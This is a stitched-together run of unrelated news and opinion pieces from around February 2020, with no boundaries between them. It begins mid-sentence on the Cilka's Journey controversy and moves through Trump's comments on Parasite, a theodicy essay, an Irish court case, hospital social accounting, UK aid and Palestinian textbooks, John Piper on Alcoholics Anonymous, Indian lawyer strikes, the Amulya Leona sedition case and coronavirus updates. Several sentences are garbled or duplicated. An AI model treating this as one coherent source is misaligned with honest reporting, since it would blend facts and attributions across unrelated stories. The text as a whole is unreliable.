lived until her death. 'This is a woman who survived survived Auschwitz, a Soviet gulag and then when she's dead, she's been unjustly trashed. How can that be right?' Morris initially came across her story while researching The Tattooist of Auschwitz, which is based on the life of Slovakian Jew Lale Sokolov. Cecilia met her husband Ivan in the Russian gulag. Prior to his imprisonment, Ivan instructed his wife Helen to divorce him and flee to the west with their son George as he was afraid she would be arrested George be sent to an orphanage. Father and son are seen reunited in 1967 Cecilia's husband Ivan and his son George are seen here in Prague in 1946. After George Europe when Ivan was arrested by the Russians in 1948 they fled to Canada and then the US Cilka's character briefly appears in this book as the sex slave of an SS commander, prompting the author to further investigate her, which resulted in Cilka's Journey. During her research Morris travelled to Oakland to meet with Mr Kovach, where she asked him to contribute pictures and an afterword to the book. At the meeting Mr Kovach explained to Morris how, prior to his imprisonment, Ivan instructed his wife Helen to divorce him and flee to the west as he was afraid that she too would be arrested and his son sent to an orphanage. Mr Kovach, who was aged three-and-a-half at the time, and his mother escaped to the west in 1948, going first to West Germany, then Canada and then on to the US, where they eventually settled. Over the years she managed to find out information about Ivan through his relatives, whom she kept in touch with. Mr Kovach was reunited with his father in 1967, when he was aged 22, rebuilding his relationship with him and also getting to know Cecilia and learning of her inspirational story. He would regularly meet them both up until the time of their deaths. He said: 'After reading some of her material I made it clear that I wanted nothing to do with this project. 'I asked that the book not be published, which was never going to happen or that they make it clear that Cilka is a completely fictional character. Initially, my father Ivan was also portrayed in this novel. Readers have been misled by what is a pack of lies.' Morris subsequently removed Ivan from the book, replacing him with the character of Alexandr. Speaking about the book last year, Morris said: 'Cilka's story is one of burning injustice. She was just a girl, a teenager, who lived through two of the most evil periods in history and became a spoil of war. Only shame stopped women like her talking about what had been done to them. This book is, I hope, about the transference of that shame.' This is not the first time that Morris has been criticised for blending fact and fiction. The Tattooist of Auschwitz was slammed by the Auschwitz Memorial Research Centre, which protested that it contained 'factual inaccuracies' and was littered with 'inconsistent information.' Mr Sokolov's son Gary also raised concerns over 'factual inaccuracies' in the book while media reports suggested that he had fallen out with Morris over money, following its huge success. Morris responded at the time: 'I don't think it's Gary; I think it's his wife. She's become fixated on what she says are some mistakes, but I've said from the start, all I'm doing is telling the story that Lale told me.' This years Oscars saw history being made with Korean film Parasites incredible sweep of four major awards. Reuters While the world has since celebrated whats been described as a huge shift for the Academy Awards, not everyones that happy about celebrating Korean culture winning big this month. Hint: Its Donald Trump. Reuters As the US Presidential Elections ramp up through what has already become one of the most dramatic campaign seasons in the nations history, President Trump visited Colorado Springs, Colorado to address a rally of his supporters. How bad were the Academy Awards this year? Trump asked the crowd, who responded with loud boos. Trump goes off on the Oscars for giving Best Picture to Parasite because it's a South Korean movie pic.twitter.com/GUGKdExTbw Claudia Koerner (@ClaudiaKoerner) February 21, 2020 The winner is a movie from South Korea, what the hell was that all about? Trump asked. We got enough problems with South Korea with trade and on top of it, they give them the best movie of the year. Regarding the film itself, Trump went on to make a surprising throwback - all the way to 1939. Was it good? I dont know. Im looking for, like can we get like Gone With The Wind back, please? Trump said, to loud cheers. For context, Gone With The Wind is a historical epic romance film adapted from a 1936 novel of the same name - set against the backdrop of the American Civil War. While legendary actors Vivien Leigh and Clark Gable made history with the film no doubt. The film also has a troubling history regarding its depiction of black people. Set in the deeply racist American South, the film has been criticised for glorifying slavery, portraying black characters as foolish, dim-witted and subservient - while Hattie McDonald became the first black person to win an Oscar after the films release, the character she portrayed was that of a maid, and several black activists criticised her role as pandering towards white racist stereotypes. Metro Goldwyn Mayer Given Trumps long and storied history with racist comments and remarks, its not surprising that hes fond of the movie. Meanwhile, Parasite director Bong Joon-Ho has been on a roll - this is possibly the best month of his life as a filmmaker, and he took a moment to speak about the acceptance of world cinema while at the Golden Globes earlier this January, after winning the Best Foreign-Film. Reuters Once you overcome the one-inch tall barrier of subtitles, you will be introduced to so many more amazing films. I think we use only one language: the cinema, he stated. Parasites studio NEON took their own potshot at the President, soon after the rally made its rounds on social media. Several users on Twitter also followed up with their own quips. Wait until he finds out how many Mexican directors have received the Best Director Oscar. Anita (@AnitaM86) February 21, 2020 He's only a fan of Gone With The Wind because it has the same name as his haircut. Alan Docherty (@Oingo_Boingo) February 21, 2020 Were left wondering - if the film was from North Korea, would Trump be talking about how watching the film was a 'great honour? Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment In his book The Cross of Christ, John Stott said that the the fact of suffering undoubtedly constitutes the single greatest challenge to the Christian faith. What is the problem of evil? It is the apparent conflict or contradiction between the existence of evil, suffering, and the existence an all-powerful, all-knowing, and ever-present God who is also perfectly good. As the problem goes, such a God would stop evil and suffering, if He existed. Another form of the problem of evil focuses on the amount of evil, suggesting that while God may have good reason for some evil, surely the amount of evil we experience makes it unlikely that the God of Scripture exists. Why is this argument such a challenge to the Christian faith? For many people, the argument is not about the logical inconsistencies, probability, or deductive logic. For most people, the problem of evil is about a sick child, an experience of abuse, personal exposure to horrific and traumatic evil, or perhaps the hurtful actions of Christian leaders. The problem of evil often boils down to our inability to reconcile our belief in a good and loving God with our experience of sin, suffering, and evil. There are smart people who have offered lengthy defenses of God against the problem of evil. Such a defense is called a theodicy, and you can check out the free will defense by C.S. Lewis or Alvin Plantinga, or Gordon Clarks view of sovereign decree. My point here is to help ministers answer this question by turning the question back on the person who is raising the objection. As Christians, we need to give an account of why evil exists. The good news is that the problem itself makes sense because we know who God is, we know what evil is, and we know why it is a problem. An atheist, however, is raising the problem of evil; but if there is no God, why is evil, evil? As Christians, we believe that evil is that which fails to reflect the beauty, goodness, or will of God. As Augustine said, evil is deprived of good.[1] When an atheist points to the evil in the world as proof that God doesnt exist, he faces much bigger problems: If not for God, what constitutes evil? A person who rejects God still lives in a world with suffering and evil, only she cannot explain why suffering and evil are bad. A person who rejects God lives in a world with suffering and evil, yet without any hope of future redemption and salvation. A person who rejects God still lives in a world with evil and suffering, yet without any future reward for the righteous, punishment for the wicked, and vindication for the abused. Psalm 14:1 says the fool says in his heart, God does not exist. (HCSB) One aspect of the foolishness of unbelief is that apart from God, the evils of abuse, suffering, persecution, and injustice fail to be evil. If not for God, evil ceases to be evil. If not for a perfectly just Creator revealed in Christ, the very idea of injustice becomes meaningless. If there is no God and no Imago Dei, then moral outrage is reduced to collective emotionalism, social posturing, or political maneuvering. The problem of evil makes us realize just how much we need God. [1] Augustine, Confessions, VII: [XII] 18. A seven-year jail term was suspended today in the case against a Lithuanian man on condition that he would leave Ireland by midnight tomorrow. The accused confessed to allowing his industrial unit in Carrigaline to be used to store cannabis and to handling 63,000 worth of marine goods including boats and outboard engines. 39-year-old Viktoras Andreijevas of New Bungalow, Castleterry, Mitchelstown, County Cork, was given consecutive sentences totalling seven years but these will be suspended on the condition that he would be gone from the jurisdiction by midnight tomorrow. Judge Sean O Donnabhain was told that the accused had a ticket to leave Ireland by ferry tomorrow. Andriejevas was effectively released from prison today on condition that he would use this ticket. The judge said, He allowed his premises to be used for storing a large amount of marine parts and boats. It seems to have been a significant operation that he was aware of. These are difficult cases to prove. If the trial went on it would be a lengthy, difficult and problematic. A sentence of three years is merited. While on bail for that he was found allowing his premises to be used for storing of drugs. It is a significant factor that being on bail, he allowed this level of criminality to occur on his premise. It was a knowing and deliberate action. The judge imposed a four-year sentence consecutive to the three years, but suspended on condition that he would leave the jurisdiction and not return for ten years. Detective Garda Eoin OToole testified at Cork Circuit Criminal Court that he obtained a warrant to search on February 20, 2019, at VD Fashions, Unit 5, Carrigaline industrial estate, Kilnagleary, County Cork. Cannabis worth 10,000 was recovered following the search. Donal McCarthy prosecution barrister said, The prosecution is accepting it was not his business but he was allowing his premises to be used for it. Andriejevas pleaded guilty to allowing his premises at VD Fashions, Unit 5, Carrigaline industrial estate, Kilnagleary, County Cork, to be used for the purpose. Detective Garda Oisin Cotter testified about another set of offences related to handling stolen property. Det Garda Cotter said the accused had 63,000 worth of stolen property in the back of a truck which was about to be transported out of the country. It consisted partly of expensive outboard engines, RIBs, dinghies and other property stolen from various yacht clubs. Dermot Sheehan, defence barrister, said the defendant became aware that his life might be in danger from criminals making death threats against him. If he were to leave the country it might help everybody, Mr Sheehan BL said. The interest expressed by the general public in social aspects is constantly growing and there are more and more companies and organisations that want to know what social contribution they make. The tool used to analyse this aspect is social accounting, "an information system that incorporates the social value that is generated in society", explained Leire San Jose, leader of the ECRI research group. The UPV/EHU research group ECRI Ethics in Finance and Social Value has conducted this analysis at the Hospital Santa Marina run by Osakidetza. This is the first time that it has been applied to a hospital. The social value added index of the hospital has been calculated. "It is an ideal tool for rating the hospital's social efficiency because it establishes how much social value is generated from the public funding that is allocated to it. Great interest has always existed in finding out how efficient the public spending of hospitals is, but until now the social perspective has never been incorporated", explained the UPV/EHU's lecturer and PhD holder. The features of the Osakidetza Hospital Santa Marina mean that it is highly suited to the conducting of this study: it is a medium-sized public hospital (it has 238 beds and caters for about 200,000 people), it cares for elderly people with chronic diseases or in need of palliative care, so it is easier to interview the stakeholders. A hospital has many stakeholders; besides the actual users of the hospital, it would also be necessary to consider families, staff, future staff (students), teaching staff, suppliers, public administration, etc. "The social value generated for these stakeholders and its conversion into money allow the decisions geared towards the social aim of the public hospital to be managed more efficiently," added San Jose. What is the value of the socio-emotional contribution made by a hospital? The methodology for conducting social accounting has been established in previous pieces of work, "but every case is different: in each case it is necessary to consider to whom a social contribution is made and how much", pointed out the researcher. After interviewing the various stakeholders, the research team produced a list of the social values quoted, and having specified the variables provided by a social value, "we translated them into euros", she explained. Among the social aspects are, firstly, those linked to the market which are incorporated into traditional accounting and "have to do with suppliers, staff, payments, taxes, etc." Secondly, there are the aspects not linked to the market, "such as the number of beds made available in other hospitals, student internships, the service offered by the health professionals, the benefits accruing to families (alleviation, time, etc.), the benefits provided by hospital infrastructure, etc.", she added. The researcher pointed out that the socio-emotional value of the Hospital Santa Marina amounts to approximately 60 million euros per year for the 2013-2017 period; nevertheless, "the most important thing is that the hospital is interested in having this study carried out, in resorting to stakeholders to ask them and find out what needs to be improved". The researcher also explained that social accounting is tremendously useful in enabling an organisation to compare itself over time, in other words, "to see the evolution of an organisation as the years go by; but it is of great use above all in enabling it to compare itself with other hospitals", she stressed. San Jose admitted that "it is true that we have begun with a hospital that has few patients and with very specific profiles, but there is no problem in applying social accounting to all kinds of hospitals and it would be highly desirable to see what others also do well. It may be important to integrate social efficiency into the accounting of companies; not just cost-based efficiency but also that based on social contributions", she concluded. ### Additional information Leire San Jose-Ruiz de Aguirre is a PhD holder and tenured lecturer in the department of Financial Economics II at the Faculty of Economics and Business of the UPV/EHU (Sarriko), as well as Visiting Research Fellow at the University of Huddersfield (UK). Right now, she leads the ECRI Ethics in Finance and Social Value research group which collaborates with numerous organisations and universities. This research was conducted in collaboration with the UPV/EHU lecturer Ramon Bernal, and Jose Luis Retolaza of the University of Deusto, both of whom belong to the ECRI group. Ministers pledged urgent action last night after it emerged that British foreign aid cash is funding schools where textbooks on martyrdom and radical Islamism are used. The Daily Mail has discovered that tens of millions of pounds of UK foreign aid is helping fund schools in Gaza and the West Bank that use such material in lessons. The money goes via a UN agency that some other nations have chosen to stop financing because of concerns. The textbooks include a reading exercise for six-year-olds with the words 'martyr' and 'attack', plus poems for eight-year-olds which include phrases such as 'sacrifice my blood' to 'eliminate the usurper from my country' and 'annihilate the remnants of the foreigners'. UK foreign aid is helping fund schools in Gaza and the West Bank that use textbooks on martyrdom in lessons. Pictured is a page on Newton's Second Law, used to teach 11-year-olds, showing the image of a boy with a slingshot targeting Israeli soldiers. A caption alongside it reads: 'During the first Palestinian uprising, Palestinian youths used slingshots to confront the soldiers of the Zionist Occupation and defend themselves from their treacherous bullets. What is the relationship between the elongation of the slingshot's rubber and the tensile strength affecting it? What are the forces that influence the stone after its release from the slingshot?'. Textbook examples research and translations by Impact-se Nine-year-olds learn maths by adding the number of martyrs in Palestinian uprisings in textbooks illustrated with pictures of their funerals. And ten-year-olds learn the most important thing is giving their life for 'sacrifice, fight, jihad, and struggle'. Newton's Second Law is taught to 11-year-olds through the image of a boy with a slingshot targeting Israeli soldiers. The schools are attended by 325,000 pupils, up to age 16. The Mail has also learned that teachers who work at them have called for Jews to be murdered, abused them as 'pigs and apes' and praised Adolf Hitler. And the schools are said to be 'fertile grounds' for terrorist groups to recruit with scores of suicide bombers and jihadi leaders among past pupils. Other pages from the textbooks - which are funded through the United Nations Relief and Works Agency for Palestine Refugees - show children being taught to pronounce a letter with picture of violent struggle (right). Right is a page teaching reading comprehension with a glorified account of terrorist Dalal al-Mughrabi, who led the 1978 'Coastal Road Massacre' in which 38 Israelis including 13 children were murdered on a bus A poem for eight-year-olds on this page described the liberation of Palestine, reading: 'We sing and remember: The Land of the Generous I vow I shall sacrifice my blood, to saturate the land of the generous and will eliminate the usurper from my country, and will annihilate the remnants of the foreigners. Oh the land of Al-Aqsa and the Haram, oh cradle of chivalry and generosity Patient, be patient as victory is ours, dawn is emerging from the oppression' The British aid money goes via the United Nations Relief and Works Agency for Palestine Refugees (UNRWA). During the past five years, the UK has given 330million and pledged another 65million for this year. Although the UN agency's work also includes healthcare, relief and social services, most of the funding it receives 58 per cent goes on education. Of that money, about 62 per cent is for schools in West Bank and Gaza which means about 120millon of UK funding has gone where the textbooks are used. UNRWA insists these schools have to follow a curriculum set by the Palestinian Authority, which produces and pays for the textbooks. However, the Department for International Development, which hands out foreign aid, last night said the UK had lobbied for a thorough independent review of the material, which was now being led by the EU. Another part of the textbooks teaching Arabic Language again mentioned terrorist Dalal Mughrabi listed as one of the national heroes to be celebrated. The writing translated too: 'We are proud of them, we sing with their wonders, and study their march, and give their names to our children; we put their names on our streets and squares and the cultural places. We spray our gatherings with the perfume of their memory, and each of us wishes to be like them. They have decorated the pages of history. They taught people that drinking the cup of bitterness with glory is much sweeter than a pleasant long life accompanied by humiliation. Hooray for the heroes and down with the cowards!' This page, aimed at 13-14-year-olds, appeared alongside the length caption: 'During the Palestinian Stone Uprising of 1987, the youth of Palestine used a slingshot or the 'shu'ba' to confront the bullets of the Occupation army soldiers who were breaking in Palestinian towns. The Palestinians had no other means of defending themselves. Answer the questions: 1. Have you seen a slingshot in your environment? What are its uses? 2. What is its usefulness for shooting stones? How does it work? 3. Examine the forms of energy transformations of the stone, from the moment it is set in the slingshot position until its launch toward the target. 4. Formerly, bows and arrows were used as a means of self-defense. Explain the principle of how it [the bow] works in launching an arrow toward the goal and compare it with the principle of how slingshots worked in the Palestinian stone uprising. 5. What safety precautions should be taken into account when using the slingshot? A maths page for 9-10 year olds, pictured above, asked: 'The number of martyrs of the First Intifada (the Intifada of Rocks) is 2026 martyrs, and the number of martyrs of the Al-Aqsa Intifada is 5,050. The number of martyrs in the two intifadas is _________ martyrs' Newly appointed International Development Secretary Anne-Marie Trevelyan also promised to take up the issue 'urgently' with the Palestinian authorities. 'The UK Government has a zero tolerance approach towards incitement to violence,' a spokesman for Dfid said. 'The UK lobbied for a thorough independent review of textbooks used in the Occupied Palestinian Territories, which is now under way. 'The new International Development Secretary will urgently press the Palestinian Education Minister to take swift action on what it recommends.' Britain is now the fourth largest contributor to UNRWA. But the US and other European countries have frozen aid over how the agency is run. Other content from the textbooks include glorified images of terrorists such as Dalal al-Mughrabi, who led the 1978 'Coastal Road Massacre' in which 38 Israelis including 13 children were murdered along with the slogan 'Hooray for the heroes and... down with the cowards!'. Another exercise for six or seven-year-olds included words like 'martyr' and 'attack In this expert from an Islamic Education textbook for ages 10-11, the caption read: 'The heroism of the of the people Palestine Ever Since Palestine is under Jewish-Zionist occupation, its people are facing situations of heroism and sacrifice The heroism of the children of Palestine was also evident in the first and second intifada - they opposed the Zionist enemies with force and courage. A large number of them became martyrs during the protection of the land of Palestine.' 'Exercise 3: Mention situations in which the people of Palestine demonstrated courage and heroism. Issue for discussion: What is the role of courage in national liberation?' Other material praises children who were martyred while fighting 'Zionist enemies'. In history, pupils learn that the PLO 1973 hijacking of Pan Am and Lufthansa planes that killed 32 passengers were 'operations against Zionist targets'. A new report from the Henry Jackson Society, a British foreign policy think-tank, entitled Reconsidering the Future of UNRWA, alleges the agency 'spreads extremist propaganda, and is infiltrated by extremists.' The report adds: 'Its educational initiatives, both formal and informal, are full of anti-Israeli and anti-Semitic incitement, and UNRWA helps nurture a culture of violence towards Israelis through its educational activities.' Marcus Sheff, of Israeli-based Impact-se, an organisation that monitors school textbooks, said: 'British taxpayers are paying for UNRWA to support the radicalisation of over 300,000 children every single school day.' And former Tory party chairman Lord Pickles described the agency as a 'significant road block to peace'. UNRWA claims to review troubling material but when it tried to act in 2017 it was forced to back down after the Palestinian Authority suspended ties. An UNRWA spokesman said last night: 'UNRWA cannot alter host government curriculum as this is a matter of national sovereignty, but it does have robust systems in place to ensure education delivered in its schools reflects UN values. 'All UNRWA students receive human rights, conflict resolution and tolerance education.' Is it OK for a Christian to attend Alcoholics Anonymous meetings? Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Theologian John Piper recently expressed some spiritual concern about the famous Alcoholics Anonymous 12-step program for recovering from addiction. In an episode of the podcast Ask Pastor John, a listener named Tanya asked about the A.A. program, as it had helped her recover from alcoholism. Im five years sober from alcohol because I went to A.A. and was miraculously delivered from the desire to drink. I was, and am, a born-again believer, inquired Tanya. However, Im now hearing that it is wrong for a Christian to attend A.A. I only want to do the right thing before the Lord. I have entered a deeper relationship with God through A.A. and am always at liberty to declare that my higher power is Jesus Christ. I would greatly appreciate your thoughts on the matter. Piper responded by noting that he did not object to Christians attending A.A. meetings and pointed out that the roots of the program are in the Christian tradition. The founders, Bill Wilson and Bob Smith, were members of a Christian revival organization called the Oxford Group, explained Piper. With this much outward similarity to the way Christians overcome sin, its not surprising to me that the 12 steps have and can be amazingly helpful for those moving out of addiction to alcohol. However, Piper did take issue over the non-sectarian nature of the 12-step program, stating that the most serious omission of A.A. is not that the higher power is unnamed. Tanya says that she sees Jesus as her higher power. Well, thats good. But the most glaring omission is the entire transaction between God and man in Christ Jesus at the cross. The cross is missing. The atonement for sin is missing, said Piper. Without this a grasp of this vertical alienation between us and God and the price paid on the cross to overcome that alienation even adding the name God or Jesus to the higher power will become a religious technique rather than an act of redemption Piper concluded by noting that his prayer for Christians who used the program was that they would give thanks to God for his great grace in using A.A. to help them. And then my prayer is that they would go deep into the distinctive, precious, powerful way that the Bible glorifies Christ and his cross in how we fight sin as blood-bought, justified, forgiven children of God, he added. According to its own website, A.A. states that it is not a religious society, yet it remains deeply indebted to members of the clergy of many faiths who have befriended the Fellowship since its founding in 1935. It would be unrealistic to assume that all A.A. members are spiritually inspired. Many, too, are not committed to a formal body of religious doctrine, the site explained. But innumerable A.A. membersincluding those of no orthodoxysay that they have experienced the transforming power of sharing, caring, trust and love. The Christian apologetics website Got Questions has also critiqued the A.A. program, stating that while the program has helped many people with their addictions, the steps fall far short of actually being in line with biblical truths. Confession (Steps 1, 5, 8, 9) is not of sin and the need for a Savior (Romans 3:10-18; 5:8), but rather a recognition of having done harm to the alcoholic himself and to others. God, as the alcoholic understands him/her, is asked to remove defects of character (Step 6) and shortcomings (Step 7), stated Got Questions. The Bible is clear that sin is not simply a shortcoming or character defect, but a fatal wound which is only cured by the blood of Christ shed on our behalf (Ephesians 2:1-5). They also took issue with step 11, as it encourages prayer and meditation to improve our conscious contact with God as we understood Him. Praying to, or meditating on, any god other than the true God of the Bible through Christ, the Mediator, is of no spiritual value, continued the apologetics site. Even if the alcoholic sobers up and remains so throughout his/her lifetime, only faith in Christ for salvation from sin will ensure an eternity of peace and glory in heaven. Strikes by advocates for "flimsy reasons", like bomb blast in a Pakistan school and earthquake in Nepal, on all working Saturdays for more than the past 35 years in three districts of Uttarakhand has caught the attention of the Supreme Court which rapped them for resorting to such a "joke". The issue came to the notice of the apex court while it was hearing an appeal against the verdict of the Uttarakhand High Court which had held as "illegal" the strikes or boycotts of court work on all Saturdays by lawyers in Dehradun and in several parts of Haridwar and Udham Singh Nagar. In its September 25, 2019 verdict, the high court had referred to the 266th report of the Law Commission, which had analyzed data on loss of working days on account of strikes by lawyers and had opined that it affects functioning of courts and contributes to the ever mounting pendency of cases. As per information sent by the high court to the Law Commission with respect to Uttarakhand for 2012-2016, advocates were on strike for 455 days during this period in Dehradun district, followed by 515 days in Haridwar district. Referring to the Law Commission's report, the high court had noted that strikes by advocates or their abstinence from courts varied from local, national to international issues, having no relevance to the working of the courts, and were seldom for justifiable reasons. "To mention a few, bomb blast in a Pakistan school, amendments to Sri Lanka's Constitution, inter-state river water disputes, attack on/murder of an advocate, earthquake in Nepal, condoling the death of near relatives of advocates, expressing solidarity to advocates of other state bar associations, moral support to movements by social activists, heavy rains....and even for kavi-sammelans," the high court had noted in its verdict. The appeal against the high court's verdict came up for hearing before a bench of Justices Arun Mishra and M R Shah on Thursday. "This is happening everywhere in the country. This is a fit case to initiate suo motu contempt. How can bar association say that they will continue with the strike?" the bench remarked. "Things have collapsed," the bench said, adding, "The order (of high court) is fully justified". "We cannot permit things like this. Everybody is going on strike. Today, strike is going on in every part of the country. We should be very harsh now. How can you say that the bar will be on strike on every Saturday?" the bench said. "You are doing a joke. Family member of advocate dies and the entire bar will go on strike? What is this," the bench said while reserving its order on an appeal filed by a lawyers' body of Dehradun. The counsel appearing for the petitioner told the bench that strike has stopped in Dehradun district. In its verdict, the high court had noted that "genesis of this peculiar form" of protest of boycotting work on Saturdays for over 35 years was traceable to western Uttar Pradesh, of which the aforesaid districts formed part of, before the state of Uttarakhand was created on November 9, 2000. It had noted that advocates from western Uttar Pradesh have been on strike on all Saturdays for the past three and half decades in pursuit of their demand that a high court bench be established in the region. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) It is premature to give precise projections of economic growth in China and the world in 2020 following the outbreak of coronavirus, IMF Managing Director Kristalina Georgieva said on Thursday. The IMF is still reviewing its projections for growth in China while looking at the impact of the epidemic on the global economy, Georgieva told a news conference in Moroccos capital Rabat, where she discussed preparations for IMF and World Bank Group meetings to be held in October 2021 in Marrakech. The IMF said last month global growth is projected to rise from an estimated 2.9 per ... A taxing time: Firefighters rescue people from a care home in Whitchurch on the banks of the River Wye after flooding from Storm Dennis. A proposal has been put forward to increase council tax and use the proceeds for a ring-fenced climate fund Getty Images The Professional Commission on Constitutional Reforms today held its first session chaired by Representative of the Republic of Armenia before the European Court of Human Rights Yeghishe Kirakosyan, formed the working groups and approved the working plan. During the session, the members of the Commission also exchanged views on the directions for constitutional reforms. They also agreed to submit proposals and present directions in a week in order to write a concept paper on the constitutional reforms through coordinated activities and within the prescribed time limit. New Delhi : Leaving the organisers of an event to protest against the Citizenship Amendment Act, National Register of Citizens and National Population Register in Bengaluru red-faced, a young woman on Thursday raised 'Pakistan Zindabad' slogan in the presence of All India Majlis-e-Ittehadul Muslimeen chief Asaduddin Owaisi, who denounced her action and asserted 'we are for India'. The woman, identified as Amulya Leona, asked people to shout with her 'Pakistan Zindabad' thrice after the organisers of the event under the banner of 'Save Constitution' invited her to address the gathering soon after Owaisi came on the stage. A baffled Owaisi rushed to snatch the mike from her and was joined by others who tried to remove her from the state. But the woman was adamant and raised the slogan again repeatedly. Later, the police stepped in and removed her from the dais. The woman had been taken into custody, police said adding that sedition charges were slapped on her. Police said that a case has been registered under Section 124A (Offence of sedition) of the Indian Penal Code against Amulya. The police will first interrogate her and then she will be produced before a court, officials said. The Bharatiya Janata Party targeted the Congress over the incident, alleging the protests against the CAA were a 'joint venture between Pakistan & Anti-National Forces led by the Congress'. The Congress too condemned the woman's conduct and demanded stern action. Owaisi, who addressed the gathering later, said he did not agree with the woman, whom he described as 'so called liberal' and asked all liberals to refrain from any events involving Muslims. "Neither I nor my party have any link with her. We denounce her. The organisers should not have invited her here. If I knew this, I would not have come here. We are for India and we no way support our enemy nation Pakistan. Our entire drive is to save India," the AIMIM MP said. He asked people to refrain from liberals. If they (liberals) were so concerned about the Muslims and CAA, they should have their own Shaheen Bagh kind of protests. Speaking about CAA, Owaisi alleged it 'smacked of governments hatred' towards Muslims and was against poor. "The law is aimed at making Muslims stateless," he charged. Owaisi flayed the BJP government in Karnataka for booking a parent and the headmistress of a school for alleged derogatory remarks against Prime Minister Narendra Modi made by a class six student in a drama at a school in Bidar. The AIMIM chief asserted that his love for India is unquestionable because his family had chosen to stay in the country after the partition. Janata Dal-Secular corporator Imran Pasha claimed Amulya was planted by some rival group to disrupt the event. The woman, he said, was not in the list of speakers and demanded that the police investigate the matter seriously. The state BJP took to the twitter to condemn the development. 'Anti-CAA Activist Amulya Leona shouts PAKISTAN ZINDABAD in the presence of AIMIM Chief @asadowaisi at Bengaluru. Truth is that protests against #CAA are a joint venture between Pakistan & Anti-National Forces led by @INCIndia. Those who support Pakistan should go there forever,' it tweeted. Akhil Bharatiya Vidyarthi Parishad members and Karnataka Rakshana Vedike (Praveen Shetty faction) staged separate demonstrations in Bengaluru, demanding externment of Amulya Leona. China reported its lowest number of new coronavirus cases on Thursday since January 23 when Wuhan epicentre of the outbreak went into lockdown, but a leading Chinese scientist has warned the disease may become an established illness like flu. Wang Chen, president of the China Academy of Medical Science, said that despite the recent drop in the rate of new cases and fatalities on the mainland, the world should be prepared for the possibility that Covid-19 the official name of the illness caused by the coronavirus was here to stay. Wang said the new coronavirus was different from the virus which caused severe acute respiratory syndrome (Sars), which was both contagious and fatal. This new coronavirus may become a long-term disease that coexists with humans, just like flu, he told state broadcaster CCTV on Wednesday. It was up to scientists, he said, to be prepared to study the coronavirus for the long term, and help to devise clinical strategies. The key to containing the virus should be in scientific research, he said. There were 394 new cases reported in mainland China, and a further 114 deaths, as of midnight Wednesday. So far, the disease has killed 2,118 people on the mainland, out of a total of 74,576 confirmed cases. Chinas National Health Commission reported that 1,779 patients had recovered by Wednesday, bringing the total number of people who have recovered from the disease to 16,155. It was also the 16th straight day of a fall in new infections outside Hubei province. New infections in Hubei have now dropped for seven consecutive days. Beijings worst hospital infection toll rises Thirty six people have now tested positive in Beijings worst hospital infection. The cluster outbreak in the hospital in the capitals Xicheng district was first made public on February 3 when the local authority announced five medical staff and four patients in the Coronary Care Unit had been infected. Story continues By Wednesday the hospital said the number infected had risen to 36, eight of whom were medical staff, nine hospital employees and 19 patients or their family. The building where the unit was located was sealed off on February 5, according to Pang Xinghuo, deputy director of Beijing Centre for Disease Control and Prevention. Patients remaining in the building must be monitored for two weeks. Two more foreign residents infected Two more foreigners in mainland China have contracted Covid-19 since last Monday, a central government official said. There are 29 foreigners with confirmed cases of Covid-19 in China so far, 10 of whom are in Hubei province, according to Ding Xiangyang, deputy-secretary general of Chinas state council, told a press conference in Wuhan on Thursday. Of the 29 cases, 18 people have recovered and nine are receiving treatment in isolation, while a US and a Japan citizen have died. Too early for optimism, despite fall in cases Huang Yanzhong, a senior fellow for global health at the Council on Foreign Relations, said the tapering off of infections in mainland China outside the worst-affected province indicated the measures taken to stop the spread of the disease were working. The heavy-handed containment measures appear to be effective in stemming the further spread of the virus outside Hubei province, Huang said. But Chen Xi, assistant professor of health policy and economics at the Yale School of Public Health, said it may be too early to conclude that infections had peaked. Measures to close down community neighbourhoods in Wuhan had just been implemented, and their effectiveness remained to be seen, he said. While there has been a decline in the number of new confirmed cases and suspected cases, the increase in new cases continues to add to the demand for medical resources, although the discharge of recovered patients can help release some of these. In other words, the demand for medical resources remains tight and we are still at a critical stage in this battle against the disease. Chen said the number of daily suspected cases, while falling, remained high. China can weather economic storm China has sufficient financial tools to weather the economic storm caused by the coronavirus outbreak, its finance ministry said on Thursday, as a new package of help for companies was announced. Deputy finance minister Yu Weiping said the accumulated balance of the countrys social security fund in 2019 was 9.4 trillion yuan (US$1.3 trillion) and the latest relief measures a waiver of company contributions would reduce the fund by an estimated 600 billion yuan. Even if revenue to the fund falls, the overall impact is manageable, he said. More than a billion masks imported China has so far imported over 1.2 billion masks to meet the soaring demand, according to the Ministry of Commerce. The country has also purchased over 13 million sets of protective clothing, said Li Xingqian, director-general for foreign trade. Beijing has already urged domestic producers to ramp up production of these items and some factories have also converted their production lines to help. The government economic planner said these firms had helped push production 10 per cent above normal capacity. Advance funding to cover treatment costs The National Health Commission said on Thursday that 17.2 billion yuan in advance funding had been allocated for the costs of treating Covid-19 patients, which would not be counted in the 2020 medical insurance budget. Hubei received 3.01 billion yuan of the advance funding, with 902 million yuan of its allocation going to Wuhan. Looking at the treatment costs for confirmed and suspected cases so far, the advance funding can satisfy current medical needs," Xiong Xianjun, an administration official, said. Australia extends ban on China arrivals Australia will extend a ban on arrivals from mainland China into a fourth week to contain the risk of exposure to the coronavirus, Prime Minister Scott Morrison said on Thursday. The National Security Committee of Cabinet has today decided that the continuing coronavirus infections in mainland China make it necessary to continue the travel restrictions on foreign nationals entering Australia for a further week to February 29, Morrison said. Australia has 15 cases of the virus, but no new infections since the travel ban was put in place on February 1. Ten patients have recovered, while the other five are in a stable condition. US issues travel advisory for Hong Kong Travellers to Hong Kong have been warned by the US Centres for Disease Control and Prevention to be prepared after the death of a second person in the city from the infection. The agency put out a level one travel notice for Hong Kong advising visitors to avoid contact with sick people and to wash their hands often to avoid contracting the virus, which is spreading there from person-to-person. This compares to the level four advisory the CDC has in place for Hubei, which means no one should travel there. The rest of mainland China is at level three, which means people should avoid non-essential travel. The CDC has listed Japan, Singapore, South Korea, Taiwan, Thailand and Vietnam as other destinations outside mainland China with apparent community spread, but said the extent was not sustained or widespread enough to warrant a travel notice. The public health institute defined community spread as people [who] have been infected with the virus, including some who are not sure how or where they become infected. Some Wuhan patients waiting too long for hospital In an appearance on state broadcaster CCTV Wang Chen, head of Chinas medical science academy, did not say whether the outbreak had reached its peak, saying only that measures should be taken to contain its spread. Wang also said some patients in Wuhan were waiting too long for hospitalisation, which heightened the risk of spreading the virus. The waiting period should be shortened, he said. Diagnostic change continues to affect Hubei data In Wuhan, provincial capital of Hubei, changes in 